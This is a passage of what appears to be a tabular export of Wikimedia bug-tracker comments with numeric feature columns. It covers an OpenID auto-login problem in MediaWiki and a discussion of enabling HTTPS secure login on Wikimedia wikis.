Do the portlet links (my preferences) change then? I mean exactly: do they show still the IP number or do they show the newly added username ?",,,1345184865,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,5.5,1.0,6.5,6.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,2.5,0.5,1.5,3.0,0.0,0.0,1.0,0.0,0.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,11.0,1.5,2.0,6.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,10.5,6.5,3.0,2.0,2.5,0.0,10.5,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,3.674399038461538,0.7520432692307693,"If you still have this problem, you can try something ?

Delete the one account, or merge it with your Sysop account (I use the URL extension to merge and delete after successful merging ""new OpenID test user"" accounts with my WikiSysop account. Then I can try again.)

Just ***before*** the stage you are describing as ""When I click on my user profile to add the OpenID to the created profile I get"" press Ctrl+F5 in your browser.

Do the portlet links (my preferences) change then? I mean exactly: do they show still the IP number or do they show the newly added username ?"
190266,Automatic login with OpenID does not work,I checked that now with Chrome 21.0.1180.79 - it works for me !,,,1345158786,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,23.0,23.0,8.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.923076923076923,1.0,I checked that now with Chrome 21.0.1180.79 - it works for me !
190261,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:

To answer your last question: There was no upgrade. I did a complete new install of MediaWiki and OpenId Extension.",,,1345158704,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,10.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.064516129032258,0.8387096774193549,"**simone.hinterseher** wrote:

To answer your last question: There was no upgrade. I did a complete new install of MediaWiki and OpenId Extension."
190257,Automatic login with OpenID does not work,"**simone.hinterseher** wrote:

I just found that it is because of the browser I use. I used the most current Chrome (21.0.1180.79) and it would have the described issue.
With Firefox 14 and Internet Explorer 8 it works fine.

OpenID (Version 1.004 20120427)
MediaWiki    1.19.1
PHP    5.3.3 (apache2handler)
MySQL    5.0.95",,,1345158468,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,18.0,3.0,3.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,0.0,8.0,6.0,14.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.9027777777777777,0.6944444444444444,"**simone.hinterseher** wrote:

I just found that it is because of the browser I use. I used the most current Chrome (21.0.1180.79) and it would have the described issue.
With Firefox 14 and Internet Explorer 8 it works fine.

OpenID (Version 1.004 20120427)
MediaWiki    1.19.1
PHP    5.3.3 (apache2handler)
MySQL    5.0.95"
190251,Automatic login with OpenID does not work,"Just one idea:

Have you recently upgraded from an older version of OpenID ? I checked the sources, and the problem reported by you - or similar to it - was fixed in https://www.mediawiki.org/wiki/Special:Code/MediaWiki/95706 (29 August 2011)

I suggest you fully delete the old extension subdirectory and reinstall the 1.004 version from SVN.

Let me know if the problem still persists.",,,1345156100,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,1.0,3.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,13.0,1.0,4.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,10.0,10.0,4.0,1.0,0.0,0.0,10.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,3.914285714285714,0.7857142857142857,"Just one idea:

Have you recently upgraded from an older version of OpenID ? I checked the sources, and the problem reported by you - or similar to it - was fixed in URL (29 August 2011)

I suggest you fully delete the old extension subdirectory and reinstall the 1.004 version from SVN.

Let me know if the problem still persists."
190245,Automatic login with OpenID does not work,"I tested it, it works for me. Must be another reason on your server.

My wiki:

Product 	Version
MediaWiki 	1.20alpha (a441912)
PHP 	5.3.14 (apache2handler)
MySQL 	5.1.57-log
OpenID (Version 1.004 20120427) 	(r115098)",,,1345151695,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,11.0,4.0,21.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.4464285714285716,0.6964285714285714,"I tested it, it works for me. Must be another reason on your server.

My wiki:

Product 	Version
MediaWiki 	1.20alpha (a441912)
PHP 	5.3.14 (apache2handler)
MySQL 	5.1.57-log
OpenID (Version 1.004 20120427) 	(r115098)"
190241,Automatic login with OpenID does not work,"This usually works automatically. Once your are in (OpenID account creation), the OpenID is (should be) automatically attached to your (new) account.

perhaps it is an issue (which I had in former versions of the MediaWIki core), that the links (on top of screen) were not immediately updated, which was an issue of the so-called context.

Will check this.

Please can you post here the exact MediaWiki version, and OpenID version ?",,,1345150878,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-o7gis5o32rnf6c7wprme,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,0.0,1.0,1.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,8.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,1.0,0.0,3.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,1.0,11.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,6.0,11.0,1.0,1.0,12.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,5.0,8.0,4.0,1.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.831578947368421,0.6526315789473685,"This usually works automatically. Once your are in (OpenID account creation), the OpenID is (should be) automatically attached to your (new) account.

perhaps it is an issue (which I had in former versions of the MediaWIki core), that the links (on top of screen) were not immediately updated, which was an issue of the so-called context.

Will check this.

Please can you post here the exact MediaWiki version, and OpenID version ?"
41380,Set $wgSecureLogin = true; on Wikimedia wikis,"With the exception of a few minor bugs (specifically email links), $wgSecureLogin functionality is for the most part complete. Is there any reason HTTPS login has not yet been enabled on enwiki?

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=29898
https://bugzilla.wikimedia.org/show_bug.cgi?id=31323
https://bugzilla.wikimedia.org/show_bug.cgi?id=47832",Medium,50.0,1345040460,1377734276.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_description,resolved,True,c2,1,False,False,True,-54,True,3.0,0.0,0.0,1.0,1.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,14.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.7857142857142856,0.7,"With the exception of a few minor bugs (specifically email links), $wgSecureLogin functionality is for the most part complete. Is there any reason HTTPS login has not yet been enabled on enwiki?

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL
URL"
187151,Set $wgSecureLogin = true; on Wikimedia wikis,"Change 81563 merged by jenkins-bot:
Secure login to true for all wikis

https://gerrit.wikimedia.org/r/81563",,,1377720679,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,3,False,,,0,True,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,1.0,"Change 81563 merged by jenkins-bot:
Secure login to true for all wikis

GERRIT_URL"
187146,Set $wgSecureLogin = true; on Wikimedia wikis,"Change 81563 had a related patch set uploaded by CSteipp:
Secure login to true for all wikis

https://gerrit.wikimedia.org/r/81563",,,1377720514,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,3,False,,,0,True,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,4.238095238095238,1.0,"Change 81563 had a related patch set uploaded by CSteipp:
Secure login to true for all wikis

GERRIT_URL"
187141,Set $wgSecureLogin = true; on Wikimedia wikis,"Change 68937 abandoned by Ryan Lane:
Enabling secure login (HTTPS), second attempt

Reason:
Handled in change 74268 in the correct place.

https://gerrit.wikimedia.org/r/68937",,,1374095996,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,25.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.125,0.875,"Change 68937 abandoned by Ryan Lane:
Enabling secure login (HTTPS), second attempt

Reason:
Handled in change 74268 in the correct place.

GERRIT_URL"
187135,Set $wgSecureLogin = true; on Wikimedia wikis,"Change 68937 had a related patch set uploaded by Krinkle:
Enabling secure login (HTTPS), second attempt

https://gerrit.wikimedia.org/r/68937",,,1373321517,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-8,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.391304347826087,1.0,"Change 68937 had a related patch set uploaded by Krinkle:
Enabling secure login (HTTPS), second attempt

GERRIT_URL"
187131,Set $wgSecureLogin = true; on Wikimedia wikis,"Well, there's take two. Once the bug-fix for CentralAuth is live we can try this out again.",,,1371355011,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,4.0,4.0,0.0,4.0,13.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.260869565217391,0.9565217391304348,"Well, there's take two. Once the bug-fix for CentralAuth is live we can try this out again."
187127,Set $wgSecureLogin = true; on Wikimedia wikis,Related URL: https://gerrit.wikimedia.org/r/68937 (Gerrit Change I17c902ae8d5e6845c938f7d6643b3d469d6e9a57),,,1371354873,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I17c902ae8d5e6845c938f7d6643b3d469d6e9a57)
187123,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #38)
> (In reply to comment #24)
> > So basically here is what needs to be fixed with $wgSecureLogin:
> > * Actual functionality is fixed
> 
> > * Links on the HTTPS login page should be set to the protocol of where the
> > user is coming from (I forget where, but there is a bug filed for this).
> 
> > * HTTP cookie is set so user will be auto-redirected to HTTPS when logged in
> > there.
> This could be done by simply enabling Strict transport security.

I did this in Extension:SecureSessions. However, I should note that the third problem has already been fixed with the forceHTTPS cookie and the second problem can't be solved with STS.",,,1367257188,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,5.0,9.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,26.0,2.0,2.0,6.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,3.0,9.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6615384615384614,0.6307692307692307,"(In reply to comment #38)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I did this in Extension:SecureSessions. However, I should note that the third problem has already been fixed with the forceHTTPS cookie and the second problem can't be solved with STS."
187119,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #24)
> So basically here is what needs to be fixed with $wgSecureLogin:
> * Actual functionality is fixed

> * Links on the HTTPS login page should be set to the protocol of where the
> user is coming from (I forget where, but there is a bug filed for this).

> * HTTP cookie is set so user will be auto-redirected to HTTPS when logged in
> there.
This could be done by simply enabling Strict transport security.",,,1367257011,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,28.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.59375,0.6875,"(In reply to comment #24)
QUOTE
QUOTE

QUOTE
QUOTE

QUOTE
QUOTE
This could be done by simply enabling Strict transport security."
187114,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #36)
> I agree with keeping $wgSecureLogin within scope. For this bug, however,
> would
> you mind changing the bug summary from ""Set $wgSecureLogin = true; on
> Wikimedia
> wikis"" to something that captures what I think we really want here: setting
> $wgSecureLogin in addition to providing HTTPS by default for logged-in users?

But this requires development, which would take time. The reason I filed this bug is that (with the exception of the bug that occurs because of extensions), $wgSecureLogin is functional and only requires setting a configuration variable to true in order to enable. Personally I'd like to see all logged in users over HTTPS as well, but at the very least we could make some attempt at improving security in the meantime.",,,1362702699,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,2.0,0.0,1.0,0.0,0.0,3.0,1.5,0.5,0.0,0.0,4.5,1.0,0.0,1.0,0.0,2.5,0.0,5.0,12.5,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.5,0.0,3.5,1.5,0.0,1.0,0.0,0.0,0.5,0.5,2.5,0.0,0.0,0.0,3.5,0.0,1.0,0.0,0.5,0.0,8.5,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,4.5,1.5,8.0,1.0,2.5,8.0,0.0,0.0,0.0,0.5,5.0,0.0,0.5,0.0,2.5,12.5,3.0,0.0,0.0,0.0,2.5,0.0,1.0,1.0,0.0,2.0,0.0,1.0,1.0,3.9547511312217196,0.7581070889894419,"(In reply to comment #36)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

But this requires development, which would take time. The reason I filed this bug is that (with the exception of the bug that occurs because of extensions), $wgSecureLogin is functional and only requires setting a configuration variable to true in order to enable. Personally I'd like to see all logged in users over HTTPS as well, but at the very least we could make some attempt at improving security in the meantime."
187108,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #35)
> If https://gerrit.wikimedia.org/r/47089 is merged, then there will also be
> the technical ability to require HTTPS for all logged in users, but I think
> that we should keep the scope of $wgSecureLogin specific to what it was
> originally intended for: making logins secure.

I agree with keeping $wgSecureLogin within scope. For this bug, however, would you mind changing the bug summary from ""Set $wgSecureLogin = true; on Wikimedia wikis"" to something that captures what I think we really want here: setting $wgSecureLogin in addition to providing HTTPS by default for logged-in users?

HTTPS prevents session exposure. It's obviously not critical to have, but it's a reasonable enhancement request that's been tested and provisioned for and it prevents users from accidentally shooting themselves in the foot.

If other sites want to only secure login, but put users back into HTTP for everything else, that's certainly their prerogative. For Wikimedia wikis (the scope of this bug), I think we must secure logins in addition to automatically redirecting users back to HTTPS by default.",,,1362691689,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-25,True,0.0,1.0,0.0,0.5,0.5,2.5,0.0,0.0,0.0,0.5,3.0,0.0,0.0,0.5,0.0,2.5,0.5,6.5,14.5,1.0,1.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,6.5,1.0,1.5,1.5,0.5,0.0,0.0,0.5,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,15.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,2.0,0.5,10.0,0.5,2.5,4.0,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,6.0,14.5,4.5,0.5,1.0,0.0,6.0,0.0,1.5,0.5,0.5,3.0,0.0,0.0,0.0,4.2298850574712645,0.764367816091954,"(In reply to comment #35)
QUOTE
QUOTE
QUOTE
QUOTE

I agree with keeping $wgSecureLogin within scope. For this bug, however, would you mind changing the bug summary from ""Set $wgSecureLogin = true; on Wikimedia wikis"" to something that captures what I think we really want here: setting $wgSecureLogin in addition to providing HTTPS by default for logged-in users?

HTTPS prevents session exposure. It's obviously not critical to have, but it's a reasonable enhancement request that's been tested and provisioned for and it prevents users from accidentally shooting themselves in the foot.

If other sites want to only secure login, but put users back into HTTP for everything else, that's certainly their prerogative. For Wikimedia wikis (the scope of this bug), I think we must secure logins in addition to automatically redirecting users back to HTTPS by default."
187103,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #34)
> You're assuming that all Wikipedia editors live in countries and do editing
> tasks that they would be comfortable transmitting to the public. That's not
> the
> case. Put yourself in the shoes of someone editing from Qatar or Beijing, and
> ask whether it would be a good thing to automatically direct such users to
> HTTPS. 
> 
> For people not subject to that kind of extreme case... many would feel more
> comfortable about the security of their account and the privacy of their
> information if they were logged in from a secure connection. If we can add
> this
> enhancement for people, we should.

If we're talking about extreme cases here, then what about the extreme (or maybe not-so-extreme) case of other wikis who don't have the resources to put their users over HTTPS, but they still want to make sure their users' passwords are secure?

If https://gerrit.wikimedia.org/r/47089 is merged, then there will also be the technical ability to require HTTPS for all logged in users, but I think that we should keep the scope of $wgSecureLogin specific to what it was originally intended for: making logins secure.",,,1362685182,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-25,True,0.5,0.0,0.0,1.5,1.0,5.0,1.5,0.0,0.0,1.0,1.0,1.5,0.0,0.0,0.5,2.0,0.0,6.0,11.0,0.0,2.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,4.0,0.5,0.5,1.0,0.0,0.0,0.0,0.5,1.5,0.0,2.0,0.5,0.5,0.0,0.5,0.0,0.0,0.5,9.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,2.5,3.0,10.5,2.0,2.0,3.0,0.0,0.0,0.0,0.5,4.5,0.0,0.5,0.0,5.0,11.0,7.0,0.5,0.5,0.0,5.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,3.7219051799824405,0.6898595258999123,"(In reply to comment #34)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

If we're talking about extreme cases here, then what about the extreme (or maybe not-so-extreme) case of other wikis who don't have the resources to put their users over HTTPS, but they still want to make sure their users' passwords are secure?

If GERRIT_URL is merged, then there will also be the technical ability to require HTTPS for all logged in users, but I think that we should keep the scope of $wgSecureLogin specific to what it was originally intended for: making logins secure."
187095,Set $wgSecureLogin = true; on Wikimedia wikis,"**swalling** wrote:

(In reply to comment #33)
> (In reply to comment #32)
> > Logged-in users should be routed via HTTPS to Special:UserLogin and then stay
> > there for however long they're logged in. A user preference (inside
> > Special:Preferences) _may_ make sense to allow logged-in users to switch to
> > HTTP, but the default should be HTTPS from login to logout. There's no need
> > to
> > have a checkbox on Special:UserLogin.
> 
> But why? There's no purpose to forcing all logged in users to be over HTTPS.
> It's not like they're transmitting sensitive information when editing
> Wikipedia.

You're assuming that all Wikipedia editors live in countries and do editing tasks that they would be comfortable transmitting to the public. That's not the case. Put yourself in the shoes of someone editing from Qatar or Beijing, and ask whether it would be a good thing to automatically direct such users to HTTPS. 

